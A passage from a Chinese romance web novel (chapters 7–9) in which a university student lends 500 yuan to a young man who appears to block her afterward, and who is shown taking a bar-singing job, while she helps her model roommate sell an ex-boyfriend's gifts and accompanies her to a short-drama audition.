宋齐远是她在阅览室里偶尔碰见的熟脸,没预约到自习室位置他就会来阅览室,两人一开始并没有什么交集,直到有次他忘带笔,闻毓青正好坐在他对面,就和他共享了放在两人座位中间的文具袋,之后两人自然而然地熟悉了一些。
“昨天下午和今天上午怎么都没来?”宋齐远看着地上蹲蘑菇的女生。
“昨天我——”闻毓青起身,正要说说自己的遭遇,想到什么,又紧急改口:“在宿舍补觉,晚上不困熬到半夜,早上起不来......”
讲到后面,意识到不妥,声音有点虚。
宋齐远听罢,露出受伤的神情,“原来你宁愿在宿舍睡觉都不想和我出去,跟我去玩有那么糟糕吗?”
“不不不。”闻毓青惶恐,眼睛睁得大而圆,急忙否认。
因为前天才回绝了他跨年出去玩的邀请,所以才不好意思让他知道她其实一个人跑出去跨年,没想到这个假借口却弄巧成拙了。
“我就是...我...”
闻毓青想解释点什么,遗憾的是,她还没掌握四两拨千斤、用玩笑话圆场的说话艺术,笨嘴根本说不出任何有效语言来调节尴尬的气氛。
而且这个时候说什么,都像是欲盖弥彰。
莫名其妙的,她想起摩天轮下陆曦泽和人游刃有余打太极的场景。
厚脸皮瞎扯淡也是种本事。
看她一脸无措而愧疚的神情,宋齐远淡淡笑了下,“我开玩笑的,你当真了?”
闻毓青露出一个老实人的憨笑,很生硬地转移话题,“对了,可以借一下你的学号账号吗,我们分好毕业论文导师了,老师给了几个选题,我还没拿定主意。我电脑没带,下午想登你们图书馆电脑看看相关的论文。”
寒假才交开题报告,现在不急,不过闻毓青觉得,和宋齐远还是讨论学习话题比较好,这是他们相处的舒适区,毕竟两人只是研友。
“好,我发你。”
闻毓青运气不错,刚走到满座的电子阅览区,就有一名学生收拾东西离开。
在隆冬,手关节就变成生锈发涩的机械齿轮,不加点润滑无法顺畅运转。她在座位抹护手霜,手心手背手指搓了一分钟,僵硬的手才微微发热,恢复了一点灵活度。
老师提供了几个选题,闻毓青在知网上搜索,大致浏览了一下相关论文的质量和数量,做了一番对比,最后得到满意的结论:自己感兴趣的两个选题的参考文献是不用愁了。
妈妈发来一桌丰盛的晚饭照片。
阿欢:「嘴巴吃亏了吧[捂嘴笑]」
闻毓青:「[流口水.gif]」
阿欢:「寒假回来给你做好吃的。」
闻毓青:「好!」
看了下物流信息,给妈妈买的关节炎止痛膏已经到了,她截图发过去。
闻毓青:「【图片】」
闻毓青:「给你买的药膏贴记得去拿」
阿欢:「不要总是买东西给我,等你工作赚钱了再给我花钱啦。」
闻毓青:「知道啦,记得去拿!」
因为想和妈妈聊天,她没扫共享,边闲聊边走回宿舍。
回去把在图书馆找的论文都下载到电脑,次日,她在图书馆从早到晚粗看了一整天的论文,在最终两个选题里艰难纠结了几个小时,最后向老师汇报了她定下的选题。
收到老师回的ok时,闻毓青在食堂吃晚饭。
回了个谢谢表情包后退出对话框,视线倏地定格在聊天框列表前排的一个名字上。
不是说回去就还钱吗?
这天都快过去了,一条新消息都没有。
她点开聊天框,第一条消息是请求添加好友时输入的打招呼内容:「陆曦泽」,往下是五百块的转账和收款的记录,再然后,是一条她已读不回的无关紧要的消息。
闻毓青今早确实起不来,在民宿睡到快十一点才醒......
老旧空调扇叶呼呼吹出暖气,昏暗小房间里的窄床棉被收容了流浪的她,也给了她一晚极其香甜的酣睡,她完全没听到手机九点半的闹铃。
去前台退房时,接待区空荡荡的沙发第一时间映入眼帘,人离开了,棉被收起来了,桌上留了一只热水袋,药还有不少,没带走。
实在太浪费。
闻毓青走过去,把药收进帆布包里。
前台小哥挥手和她告别,说了句“新年快乐”,闻毓青和她再见,出门往楼梯口走去。
杂沓交错的脚步声里,有人迎面爬上楼,单手揣兜,另一只手拎着KFC早餐外卖纸袋。撞见她,男生露出一个神清气爽的笑。
他扬起手里的东西,“别走,给你买早餐。”
再次回到民宿,前台小哥机器猫般招手,笑容洋溢,“你好——”嘴角停留在一个固定的弧度,看见两张熟脸,神情急转为黑人问号脸,“是落东西了吗?”
陆曦泽摆手,“上来吃个早餐。”
前台小哥:“......好呢。”
两人坐到那张小沙发,陆曦泽问:“豆浆还是咖啡?”
闻毓青:“豆浆。”
他把手里那杯递给她,抬眼问前台刷手机的小哥,“你喝什么?”
小哥惊讶,“我也有份啊。”
“吃了没?要不再来点?”
“好嘞!”小哥放下手机,嘿嘿笑着走来,“半夜饿了吃了桶泡面,现在还没吃呢。”
三个人就这样挤在小沙发上吃十一点多的早饭。
小哥和陆曦泽聊他们玩过的一款游戏,闻毓青不感兴趣,啃着这个冬季上新的意式红烩双牛帕尼尼,番茄酱汁风味浓郁,酸酸甜甜的很开胃,她越吃越香,大概是真的饿了。
填饱肚子的闻毓青,不由反思了一下自己,昨晚紧张应激状态下,下意识对他产生了偏见和猜忌。
人还是不能因噎废食啊,遇到一个骗子就把所有人当骗子。
身侧传来一道笑,觉察到落在身上的目光,闻毓青回头,下意识抹了抹嘴
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边,没沾到酱酱汁啊。
她问:“怎么了?”
“快吃,要走了。”
她目露不解,他要走就走,催她做什么?还是说,是要告别的意思?
闻毓青挥了下爪子,不确定道:“拜拜?”
“这就走啦?”小哥听见了,忙起身去前台,拿了两个喜庆的红色小礼袋出来,“这我们民宿给客人准备的春节礼物,今天好歹也是新年,先给你们送两个。”
陆曦泽好奇,当即便拆开,将里面的东西扒出来看,眼罩、行李牌、毛绒小桔子挂件、手写的祝福卡片,还有一只超迷你的便携保温杯,他手掌一握就包住了。
礼物上印有大吉民宿的logo,小哥嘿嘿一笑,趁机宣传,“我们在桃源山上也有民宿,开了好几年呢,虽然也是老房子,但是条件肯定比这里好点,这里刚开两个月,匆忙赶时间开业,弄得比较潦草。加个微信吧,下次你们去山里泡温泉,发消息给我,我给你们打折。”
他亮出二维码,两人加上他,他叮嘱,“想玩就今年多来玩哈,明年或者后年估计都不在了。”
“不打算开了吗?”闻毓青疑惑,桃源山是宜江知名的温泉村,网上搜宜江旅游攻略,那里是必打卡排行榜的Top1,客流很稳定。
小哥摇摇头,“是政府要开发了,打算把那里做综合型的温泉度假区,说是什么打造城市名片。”
闻毓青点点头,继续啃帕尼尼,余光瞥了瞥身侧。
被小哥一打岔,陆曦泽好似不急着走了,坐在边上玩手机,等她吃完起身,才跟着她一前一后离开。
两人一块到了马路边,闻毓青搜地图准备导航到附近的公交站坐车回去,陆曦泽打了个电话,往旁边走了几步,接通后直接和对方讲:“上次你说的事儿,我答应了。”
“工资怎么算?”
“就这么点?”
“我缺钱啊,当然缺,不然能答应你出卖色相?”
“想都别想。”
“这几天没空,到时候和你说。”
“没意见,只要钱到位,你店里的姐姐妹妹们怎么开心怎么来。”
“......”
这通电话没聊多久,陆曦泽最后笑骂了两句,结束了五分钟不到的对话。
一字不漏听全的闻毓青却目瞪口呆。
什么叫出卖色相?店是什么店?是她想的那个意思吗?这年头做这行都这么没脸没皮了?光天化日聊这些都不避着人,这是能说给她听的吗?
还是在开玩笑?如果对面是朋友的话,满嘴跑火车也很正常......
可张口闭口就是钱,他分明是在找活儿啊!闻毓青快凌乱了,万一不是,自己在这儿发散想象可就纯属造谣了。
纠结了一会儿,她多嘴问他:“你在找工作吗?”
“找工作?”他似乎对这个说法存疑,耸了耸肩,“算是吧。”
“那——”
还想继续问点什么,不过,还是算了吧。
怪尴尬的,尤其是在听到他的通话后,再怎么超绝不经意也显得刻意。
闻毓青低头看手机,跟着地图箭头方向转动手机找方位,往右边走几百米再过个红绿灯,就有公交站,左边是地铁方向,但距离有一点五公里,远了点但可以少换乘,到底去哪边呢。
后边还是没憋住,委婉地和他说年轻人别走歪路之类的话,对方貌似没听出她的意思,或者装听不懂,总之,没什么反应。
言尽于此,她转身往地铁站走。
“哎,”陆曦泽突然开口:“昨晚说的五百,给我转一下呗。”
闻毓青木了几秒,回过头,眨了眨眼:“嗯?”
他更正措辞:“就五百,借一下。”
闻毓青:“......”
果然,命运赠送的早餐,早已在暗中标好了价格。
分别的时候陆曦泽加了她的微信,说回去就还钱,如今过去一天半了,难道是忘记了吗?
闻毓青戳着餐盘的蘑菇,心底纠结着,要不要现在催债呢?夹了口蘑菇塞进嘴里,她边嚼边想,不行,还是得催!
能给阿欢姐买好多贴药膏用一阵子呢!
有些人欠钱的是大爷,得让人三番四次讨才行,萍水相逢的陌生人,没任何信任基础,早点让他把钱还了才安心,就不用一直想着这件事了。
她拿起手机编辑消息提醒:「你记得还我钱」
刚点击发送,聊天框内就冒出一个红色的感叹号。
界面弹出一则提示——
LXZ开启了朋友验证,你还不是他(她)朋友,请先发送朋友验证请求,对方验证通过后,才能聊天。
7. 007
在民宿拥挤逼仄的小沙发上醒来时,陆曦泽浑身的骨头架子发酸。
但吃过药,睡了沉沉的一夜,人倒是没那么难受了,他抓了抓睡得有些凌乱的短发,掀开棉被坐起。
前台小哥看过来,“你醒啦!”
刚起床,不想说话,他嗯了一声,嗓音有些低哑。
电话铃响起,陆曦泽瞥了眼来电提醒,点击接听,老太太中气十足的声音率先抵达耳中,“曦泽,你早点出发回来,顺便到西街菜市场帮我买几斤牛肉,拿去周师傅那里打肉泥,要赶早,不然没新鲜了!”
陆曦泽忙不迭说好,顿了顿,问:“牛肉最近多少钱一斤?”
“五六十,记着要买后腿肉。”
“得嘞,要几斤?”
“五斤,我多做点,你带些回去放冰箱自己煮着吃。”奶奶说着,又补充,“你爷爷忘买虾了,你顺便买点回来,多买点,这你爱吃。”
“还得是我奶奶疼我,”陆曦泽咧起唇角,“有别的要买的吗,我一块买了。”
“豆浆机坏了,你带个回来。”老太太念了个品牌名字,没少上网冲浪,张口就是:“避雷!别买这个,动静大,还打不细腻。”又报了另一个品牌,“你买这家的。”
陆曦泽笑着,一一应下,“行行行。”
挑选厨房家电他没什么经验,细问老太太需要什么功能、型号、容量等等,老太太罗列要求,说着说着,转而滔滔吐槽起某些厨具,比如菜刀如何难用,刀锋不利还容易钝,比不上他们以前,一把菜刀能用好多年。
都是些鸡毛蒜皮的事儿,陆曦泽不急着挂电话,老太太爱唠,他就边刷手机,边留着两只耳朵给她,能插嘴的时候,就出声附和几句。
有点渴,他拧开桌上那半瓶矿泉水润润喉,喝了一口,有点冻牙。
奶奶絮叨完,在那头叮嘱,“天冷,你出门多穿点,大冬天的别喝凉的,多喝热水。”
陆曦泽一顿,放下手里的矿泉水,“您在我身上装监控了啊。”
“我还不知道你?”奶奶哼了声,“你爸说有事要忙,回不来,你晚点给他打个电话,关心关心他。”
“真忙还是假忙,谁知道呢。”
陆曦泽脸色一沉,扯起唇角,嘲讽地笑起来。
前段时间他和陆振川关系进一步恶化,大吵到决裂,家里两位老人退休的小日子平静自在,他不打算把这事和老太太说,免得打搅二老的心情。
这父子俩的疙瘩早就有了,老太太沉默了一会儿,叹了口气,转而催促,“行了,起床了就快起来收拾,早点出门。”
他打趣,“老太太听力不错啊。”
“你这孩子,我是老了,又不是聋了傻了,刚起床的声音还听不出?”奶奶懒得跟他贫嘴,“行了,不和你说了,我要跟你赵婶她们打麻将去了,你赶早去!”
“您这一把年纪了,骑电瓶悠着点!别——”
陆曦泽没来得及说完,老太太“啐”了一声,“边儿去!你奶身体脑子比你都好着呢!”
说完,老太太就风风火火地挂了电话,陆曦泽无声笑了笑。
膝盖直抵在低矮的茶几边缘,桌子沙发之间的间隙窄得很,坐着憋屈,他动手把桌子往外推,刚一推,桌脚摩擦地面粗糙瓷砖,发出吱呀声响,桌子晃动不稳。
前台小哥望过来,忙道:“住手住手!不能推!”
一个两个的,怎么都爱用推的呢。
他从前台出来,和陆曦泽一块将桌子抬得离沙发远点,嘴里说着,“这桌腿快报废了,再推几下,那一角得塌。这还是和你一块的那女孩怕你翻身掉下来,特意给你往里挪的。”
“她走了没?”陆曦泽问,视线落在桌面零零散散的东西上。
小哥抱起沙发的棉被,“还没有。”
“一宿没睡吗?”这人看着年纪相仿,陆曦泽随口问:“你在这兼职?”
“没呢,后半夜眯了几小时,这民宿我爸妈开的,放假就来帮忙看着,我学校就在对面,宜财大,方便吧。”小哥指了指自己:“你猜我什么专业的?”
“......”咱俩熟嘛这就开始交底自报家门了?不过陆曦泽还是配合地回:“我又不是看相的,怎么知道?”
小哥哈哈两声,也不知道在傻乐什么,“酒管!专业对口吧!”
“这多好,毕业就回来继承家业。”
小哥又笑得一脸憨气样,“还继承家业呢,顶多混个实习章。”
被他乐呵劲儿感染,陆曦泽笑,找他借个地方洗漱,小哥领他去他的休息室,路过储物间,从里面拿了袋一次性牙膏牙刷给他。陆曦泽问多少钱,他摆手说不用,没几个钱。
再看了眼手机,还是没人回他消息。
可真有意思,哪个年轻人能一晚上一眼手机都不看?刷了会儿朋友圈,倒是看到更有意思的内容,视频里的男生搂着个女孩,两人喝着同一杯里的酒,周围是起哄鼓掌声。
一晚上装死没回消息的人出现在别人的朋友圈里,玩得够嗨。
底下有认识的人评论:「戚哥这么潇洒?有靓妞的局不带我耍?」
cue到了本人,戚志杰现身:「带个几把,喊你上分叼都不叼」
陆曦泽冷冷嗤笑,在戚志杰那条评论底下回了个问号。
肚子叫嚷着,他点了单早餐外卖,外卖员也绕不明白这破小区,打电话说找不到五栋,陆曦泽只好下楼找他。
怕拿外卖的空档那女孩就走了,他几乎是跑着下楼,拿到东西就冲着上楼,累得够呛,幸好在楼道把人拦了回民宿吃早饭。
陆曦泽赶时间,吃得差不多,转头想喊她走,话到嘴边没说出口,戛然而止。
茶几实在太矮了,女生只好双手捧着豆浆和帕尼尼,她坐在沙发边上的小角,羽绒服和围巾裹得严实,像只进食的仓鼠,慢慢咀嚼,咂摸着品鉴什么珍馐似的。
细嚼慢咽地吃完,她探出上半身,隔着他,突然很神叨地跟小哥科普蛀牙的危害,“龋齿还是得早点去补,不然牙洞变大变深,感染到了牙髓就要做根管,一颗牙得好几千。”
小哥听得一脸懵,张着嘴,“啊?”
“你长蛀牙了你不知道?”
“啊!”小哥忙捂嘴,声音含糊,“我说最近牙忒疼呢,还以为上火了!”
陆曦泽抱臂看着他们,被逗乐了。
他原是打算向这个女生借点钱,但出了民宿,有人给他回消息了,不太熟,应该是群发勾选的时候没注意,误发过去了。
万顷松问:「被盗号了?」
万顷松是一家精酿音乐酒馆的老板,陆曦泽两个月前认识的。当时还是戚志杰带他去的,说老板人是他熟人,喊陆曦泽一块去店里热闹热闹。酒吧不大,装潢中规中矩,却搭了个很气派的圆形舞台,灯光乐器齐全,设备花了大价钱的。
陆曦泽那晚心情不错,借店里的吉他上台唱了首歌,结束后万顷松突然到卡座来要微信,说想让他在店里驻唱。
他哪儿来的闲工夫上夜班?陆曦泽自然是拒绝了他。
不过这是次要原因。
最主要的原因是万顷松提了一嘴,“我们店内禁烟,消费的女顾客居多,像你这么帅的,靠脸就能揽不少客,要是来店里的小姐姐小妹妹们听得高兴了,一晚上打赏不少。”
陆曦泽气笑了。
打赏?揽客?当他是牛/郎呢?
那晚之后,陆曦泽再没去过万顷松店里,微信倒是没删,朋友圈每天能看到他打广告,还时不时闪现陆曦泽朋友圈底下刷存在感,或者发条消息问:「忙不忙?要不要来店里玩玩,唱首歌,酒水全免[墨镜]」。
陆曦泽懒得理他,能缺他这点酒水钱?
然而今时不同往日,好日子到头了,无论如何他是不可能向陆振川服软。这年头,做什么来钱快那就做什么,卖唱就卖唱呗。
他径直打了个电话过去,开门见山地和万顷松说:“上次你说的事儿,我答应了。”
那头还没反应过来,愣了好一会儿。
“来我这儿唱歌?你确定?”
陆曦泽不绕圈子,问:“工资怎么算?”
“一晚上五百,四趴,唱半小时休二十分钟。”
“就这么点儿?”
万顷松调侃,“大少爷能缺这点钱?”
“我缺钱啊,当然缺,不然能答应你出卖色相?”
万顷松笑,“之前不都说了,顾客有打赏归你,加起来就不止那点儿了。唱歌能挣钱,脸也是生产力,你上网找几个视频看看,学学网上那些帅哥怎么营业的,眨个眼、露露腹肌啊什么的——”
陆曦泽及时打断他,“呵,想都别想。”
“什么时候过来?”
“这几天没空,到时候和你说。”
“说好了啊,”万顷松知道这人大少爷脾气,怕他不配合,于是先强调,“想唱什么随便你,但店里的上月消费前几的女客人预点的歌,你必须得唱,不会的给我去学。”
“没意见,只要钱到位,你店里的姐姐妹妹们怎么开心怎么来。”
万顷松怀疑太阳打西边出来了,“答应得这么爽快?今儿不是愚人节吧,别耍我。”
“谁耍你了,放一百个心。对了——”手挨着冻,陆曦泽换了只手拿手机,侧目时无意间瞄到旁边那女孩的脸,对着屏幕表情很丰富,瞧见什么惊世骇闻似的。
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他眯起眼眸,目光扫了眼她的手机,这姑娘是吃到什么大瓜了?
“咋了?”万顷松问。
“没,挂了。”
“千万别给我反悔啊,鸽我的是孙子!”
“谁鸽谁是狗,回见。”
挂了电话,陆曦泽一抬眼,看见女生正望过来,也不知道在盯什么,反正视线没落在他脸上。
她问:“你在找工作吗?”
“找工作?”他重复了一遍,这事儿被她语气认真严肃地一说,跟什么正儿八经的事业一样,“算是吧。”
“那——”她猛地住嘴。
陆曦泽挑眉,问:“要说什么?”
“没什么。”女生低头看手机。
陆曦泽垂眼望着她的脑门,忽然好奇:“你斜视啊?”
女生掀眼,不明所以的神情,“嗯?”
果然,还是这样。
陆曦泽歪头,对上那双偏向他肩膀方位的眼睛,指着自己肩头上方问:“你眼睛为什么总看这里?”
昨晚他就发现,每次对上视线,这女孩的目光就不知不觉偏移,聚焦在斜前方三四十度的地方,像是他旁边还站了一个只有她能看见的隐形人。
“斜视的表现是眼球偏了,”女孩瞟了他一眼,一本正经解释,“不是眼神歪了。”
陆曦泽笑,“行,感谢科普。”
她又低头看导航,冷不丁说:“我最近也准备找点兼职,看到有台球助教的活儿,工资还挺高的,后来在网上看到有人提醒,注意辨别是不是正规的台球厅、有没有隐藏服务。这年头,找工作坑也多,咱们这个年纪,还是要多长点个心眼,避免走歪路,对吧?”
陆曦泽听得一愣一愣,道理是这个道理,但她神神叨叨地和他说这些做什么?找他当陪聊?也不像是个爱找人说事谈心的人啊。
“你等会儿。”给万顷松发了几条消息后,陆曦泽琢磨起她刚才说的话,心想,这姑娘十有八九是她找兼职受挫了,想找人聊聊。
她人不错,心眼挺好,一晚上给他盖被子买药的,要是不赶时间,陆曦泽倒是愿意花点时间和耐心陪她唠唠嗑。
不过现在可不是陪她慢慢聊的好时机,他这人有话直说,索性直接问她有什么难处,他能帮一定帮,但话还没说出口,被截胡了。
“咱们都成年人了,都注意点吧,总之...别走歪路......”她顿了顿,而后飞快道:“我先走了!”
陆曦泽一愣,眉间疑惑,她乱七八糟的说些什么呢?
下一刻,电光火石之间,忽然有那么点儿反应过来她的意思了,又前后联系细想了一番,他顿时气笑。
服了,以为他当鸭呢。
“哎!”他急忙喊住她,“昨晚说的五百,给我转一下呗。”
女生定在原地,懵了下,“嗯?”
看她被杀个措手不及,就快当场石化,陆曦泽勾唇,心里舒坦点了。
他追上去,“就五百,借一下。”
“......你还要住外面?”
陆曦泽面不改色,“嗯。”
她语气委婉,试探性询问,“刚刚,打电话的不是你朋友吗?”
“陌生人。”陆曦泽蔫坏,故意不接她茬,扬起手机,“加下微信呗,朋友,江湖救个急。”
女生抿唇,犹豫一小会儿,最终还是苦大仇深地加了微信,给他转完账,一副欲言又止的模样。
陆曦泽不再逗她,和人保证,“回去还你。”
“......好吧。”
附近正好一辆空车接单,没两分钟就停在几米外的路边,陆曦泽瞄了眼车牌号,朝那儿走去。拉开车门,回头瞥了眼,女生已经到前面路口了。
顺路的话就稍她一程,但很可惜,陆曦泽要去城北,和她回的地方相反。车门砰的一声关上,车内有未散尽的烟味,勾得人喉咙痒,他从兜里拿了颗薄荷糖塞嘴里,戴上口罩,靠在后座闭目养神。
到底还是没休息成。
司机隔三差五发语音,外放语音,吵得很。
他戴上耳机,无聊地刷了遍朋友圈,一个多小时前评论的那条不知道什么时候删掉,有消息进来,万顷松给他转来五百块,发来一串电话号码和微信名片。
陆曦泽退还他的转账,点进那女孩的聊天框里收款,顺带从头像点去看看朋友圈,一条杠,三个月可见,置顶也没有。
他问:「方便给个名字?我备注下」
大概还在路上走,人没理他。然而,二十分钟过后,她还是没回。
陆曦泽又点开另一个对话框。
「宋齐远喜欢的那女孩,你知道叫什么名字吗?」
8. 008
闻毓青气得牙痒痒!
第一次被骗钱,更多的是伤心难过,还有对陌生人的信任崩塌,这次却是气愤居多,被对方愚弄戏耍的愤怒!
验证好友的消息大概率是不会通过了,不然他就不会删了她。
缓过气来,她深呼吸,一口气喝光碗里的玉米排骨汤。只能认栽,当吃了个哑巴亏。
用餐高峰期,食堂沸满盈天,餐盘里是放冷的饭菜,她睫毛扑扇了几下,脑中浮现出某个过去的画面,是深夜躲在被窝里偷偷哭泣的自己。
一股微妙而奇异的感受蔓延心间。
明明还是五百块,实际上却和大一时不太一样了。
许是年岁的增长,又或者是这几年兼职攒了些存款,心理上明显更有承担结果的底气了,不复那时心慌委屈、人要碎掉、天要塌下来的感觉。
觉察到自己这样的变化,让她稍微心里好受了点。
宿舍好几天都是她一个人。
外地玩乐的两个女孩还舍不得回来,于海蕴行踪不定,可能是有约,也有可能是去工作。因为优越的身高体型条件,于海蕴高中毕业就签了一家模特经纪公司,大学这几年,时常因为拍摄或走秀向辅导员请假。
所以当于海蕴回到宿舍,并问她后天能不能陪她去剧组面试的时候,闻毓青第一反应是惊讶。
她脱口而出,“你不想当模特啦?”
第二反应是怎么会找她?于海蕴几乎不和她们一块行动,更别说主动找她陪同。
闻毓青缺心眼,直白地问人家,“为什么会找我陪你去啊?”
不知道是不是熬通宵了,于海蕴眼白覆上了许多红血丝,回复她说:“我想去拍短剧。”
闻毓青慢半拍,“啊......”
转而又感到意料之外,情理之中。
这几年短剧势头不错,行业还处在风口,越来越多的人涌向这行。模特转演员的大有人在,于海蕴动了这个念头,再正常不过。
每一个刷竖屏短视频的人都是潜在受众,几大社媒软件用户基数那么大,划划手指头就能刷到推流和引流的视频,一集几分钟,不长,剧情反转迭起,有看头,就容易上头,于是观众转头就刷剧贡献播放量去了。
阿欢姐闲暇偶尔会刷一些小短剧打发时间,其实不算正儿八经的短剧,是视频号博主拍的乡土连续剧,都是些家长里短的剧情。
妈妈泪点低,看得颇为代入,刷到特别催泪的悲情剧,总是配上几个流眼泪哇哇哭的小黄豆表情转发给闻毓青,说里面的角色太可怜了。
闻毓青每每哭笑不得,安慰妈妈:要是拍大部分普通人的生活,可就没什么看头和爆点了,所以编剧故意写得很爽或者很惨,别难过,都是演的啦。
阿欢姐又会反过来告诉她,是有人这么惨的呀,于是又同女儿聊遇见的一些人,还有和店里客人闲聊时听过的三两事。
拥有一颗悲悯之心的普通人,提起那些艰难困苦的人和事,只能无可奈何地叹叹气。
想到那样善良的妈妈,闻毓青心里总是异常柔软。
“可是,”她困惑道:“你现在不也挺好的嘛,还在上学就签公司了,有那么多拍摄找上你,朋友圈都是工作日常......”
“没你以为的那么好,”于海蕴面色无波无澜,没什么情绪地陈述事实,语气淡淡的,“一次拍摄要拍很多套妆造和衣服,囤着素材,时不时发点照片视频刷存在感,让列表的甲方以为我很有市场,这是一种包装。”
于海蕴笑她,“看见什么就是什么?你是傻瓜吗?”
冷艳的眉目沾上笑意,带着点媚眼如丝的味道,斜斜睨过来,眼波潋滟。闻毓青被她那么瞧了一眼,脸腾地红了,垂下眼,不好意思看她。
沉默的空档,空气仿若停滞,闻毓青没说话,莫名感到一丝惋惜。
原来,外貌气质和身材如此得天独厚的人,出头也这么难么?
她不觉得于海蕴有哪里不好。
虽然性格疏离,但于海蕴不是什么孤高傲气的人。她穿衣品味好,什么高奢轻奢小众的衣服被她一穿,一股独属于她自己的风格。如果正巧碰上她在宿舍,女孩们都爱找她做穿搭参谋。
盘靓条顺的美人,骨相优越,脸蛋精致又极有辨识度,初次见面,闻毓青在宿舍门口和她迎面碰上,当即走不动道,心里狂呼大美女!
177,标准的模特身高,什么头肩比、腰臀比的,从头到脚不管是哪里的比例都很完美。她台步走得很漂亮,台风多变,闻毓青悄悄存了好些个她朋友圈发的走秀视频。
闻毓青没好意思和于海蕴说,她其实很喜欢她,算她半个小迷妹。甚至曾经还暗自幻想过,以后哪一天她成为名模,自己兴奋地指着海报和荧幕上的人,和身边朋友说那是我大学舍友的情景。
于海蕴扫了她一眼,继续回答她方才第二个问题,“有个剧组面试在酒店,我不敢一个人去。”
“演员面试真是在酒店啊。”
“所以,你有空吗?”于海蕴问。
闻毓青连忙摇头,“有空!”
“能陪我去吗?”
“好呀!后天几点?”
“上午九点,明天晚上我会回宿舍。”
“没问题。”
三言两语聊完这事,于海蕴拎包就要走人,出门前脚步一顿,回来翻箱倒柜,桌上倒腾出一堆东西,她问闻毓青,“有没有纸箱?”
阳台堆着舍友还没清掉的快递盒子,闻毓青忙道:“你等下,我给你找找。”
箱子不够大,于海蕴又再去重新找了一个,雷厉风行地将满桌的东西扫进纸箱里。
闻毓青路过她的位置去阳台,随意扫了一眼,发现不对劲,又回过头看了两眼,箱子里的并不是垃圾,上层堆一盒巧克力、零散的信纸和卡片,以及一些ip玩偶,物品堆的
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缝隙里还冒出一个吹风机的嘴巴。
她诧异不已,“这些都要扔了吗?”
“前男友送的,不想留。”
闻毓青又是一惊,眼睛睁得圆溜溜的。
于海蕴有个交往好几年的男朋友,之前学校有几个不死心的富二代想撬墙角,表白排场铺得很大,于海蕴一个眼神都没给他们......怎么突然就分手了?
“丢掉有点可惜啊。”
她小小声嘀咕着,毕竟别人怎么处置自己的东西她管不着,谁分手了都不想看见前任的东西添堵。
于海蕴还是听见了,收箱子的动作一顿,瞥了眼那堆物件。下一秒,闻毓青手上一沉,箱子转移到她手里。
她看向于海蕴,不明所以,“嗯?”
“你要的拿走,不要的帮我清了。”
闻毓青脸一红,忙解释,“......我不是这个意思,就是觉得浪费。”虽然于海蕴并不在意,但闻毓青还是和她说:“这些东西都很新,也没坏,其实可以挂二手卖出去的。”
于海蕴思索了一会儿,说:“那你再帮我个忙。”
“什么?”
于海蕴从首饰盒还有衣柜里挑挑拣拣,桌上陆续出现戒指、项链、耳环、手链、围巾、包装完整的香水、小手包......无一例外,大牌的logo都很打眼。
闻毓青顿悟,原来贵的还没扔呢。
“价格我到时候发你,”于海蕴给桌上的东西拍了张照片,“你帮我把这些一起挂到网上卖,成交额的10%归你,行吗?不行我找别人。”
闻毓青摆摆手,不要她给钱,“现在考完了,我最多的就是时间了,顺手帮你挂上去的事。”
于海蕴那里有不少活动礼仪的渠道,她看不上,嫌钱少。闻毓青身高一米六九,脸上有点婴儿肥,身材不胖,但也不纤瘦,不过当当小活动的礼仪小姐还是够用的,于海蕴随口问了她一句去不去。
正好是大一闻毓青被骗钱的那段日子,她没空思虑自己没有经验、不会穿高跟鞋这些问题,只想多找点兼职补亏空,当即应下了。
舍友帮她化了一个精致的全妆,第一次穿高跟鞋,在室外站迎宾站了半天,腿又酸又麻,脚后跟都磨破了,但那天赚了三百块,不少了,闻毓青高兴死了。
之后于海蕴看到合适的活儿就给她推,托她的福,闻毓青每个月都能接到一两单礼仪兼职,运气特别特别好的话,碰到高级的大型活动,主办方给钱大方,薪水非常可观。
闻毓青一直想找个机会谢谢于海蕴。
送礼物吧,她穿的用的东西都价格不菲,太便宜的礼物怕她看不上,太贵的她又送不起,请她吃顿饭吧,美女又是大忙人。
现在终于让她逮到机会了!
没说任何客套话,闻毓青的坦诚写在脸上,于海蕴轻易就看穿她的用意。
朝她点点头,“谢了,明天请你吃饭。”
9. 009
上午的面试地点在一个写字楼里,是一家不知名的影视传媒公司。
前台让她们稍等,很快就有一名工作人员走过来,要领她们去面试的等候室。闻毓青不用面试,心态怡然,当作观光旅游一般,沿途左右观察着。
公司面积占了半层写字楼,最外头是格子间的工位,再往前走是划分了许多间的独立办公室、会议室、摄影间,以及用作其他功能的房间,墙上张贴着公司拍摄的作品海报,影楼风很重,没什么质感,还有一些比较性感张扬的美女照片。
最里面那间是等候室,里头坐着几个女孩,打扮得很用心,好奇地望着出现在屋里出现的两个新人。
其中一个女孩笑着和她们挥了挥手,提醒道:“哈喽,那边有信息表要填。”
于海蕴捞了支笔,找了个位置坐下,三两下填完信息,之后抱臂端坐,像座冰冷精致的陶瓷雕像,任何激动、紧张、不安、兴奋的情绪,似乎全部封存在彩色陶泥凝固而成的身体里。
倒是闻毓青,大约是因为和于海蕴对比起来亲和许多,很快就被旁边的女生当做闲聊目标盯上,问题一连串,机关枪似的,突突直冒。不过,还没等闻毓青回答,她就被叫去面试了。
等候期间,陆陆续续有几个年轻女孩进到这间等候室。
等候室不大,屋里都是人,开了暖气,空气不流通,让人有点透不过气来的憋闷,闻毓青被烘热了,脱掉身上厚重的外套。
有人叫于海蕴的名字,她站起来要走,没注意,腿上的包哐当掉地上。
闻毓青弯腰给她捡起来,“我帮你拿着,快去吧。”
身后的人拍了拍她的肩膀,是刚才打招呼的女孩,语调俏皮,“你朋友的口红掉啦。”
“哦!”闻毓青接过,放回包里,“谢谢。”
“你们都好高,真是羡慕。”女孩感叹。
她体型娇小,看着就一米六出头的样子,是可爱清纯的长相。
闻毓青笑了笑,笑容干净又真诚,“可能小时候喝牛奶真有用吧,你这样也很好呀,显小,特别适合演一些小姐小公主的角色。”
“真的吗?”她听了,高兴地亮起眼睛。
浅褐色的眼睛,像小鹿一样,有着孩童般的无辜而天真的底色,天生有让人亲近和喜爱的魅力,如果出现在屏幕里,该是一张有观众缘的脸。
闻毓青诚恳地点头,“真的。”
“我叫汪洁凝,可以叫我汪汪,你叫什么名字?”
闻毓青说了自己的名字,汪凝洁又问她,“你多大,毕业了吗?”
“还没,大四了。你呢?”
“真年轻啊,我都毕业七八年了。”
闻毓青震惊,那她确实是长得很显小了,“完全看不出来,真的!你像刚上大一。”
“还是妹妹嘴甜呐!”谁被夸年轻都开心,汪凝洁脸上止不住笑,甜甜地问:“你也是学表演的吗?试哪个角色?”
“不是不是,我陪朋友来的。”
她点点头,“这样啊。”
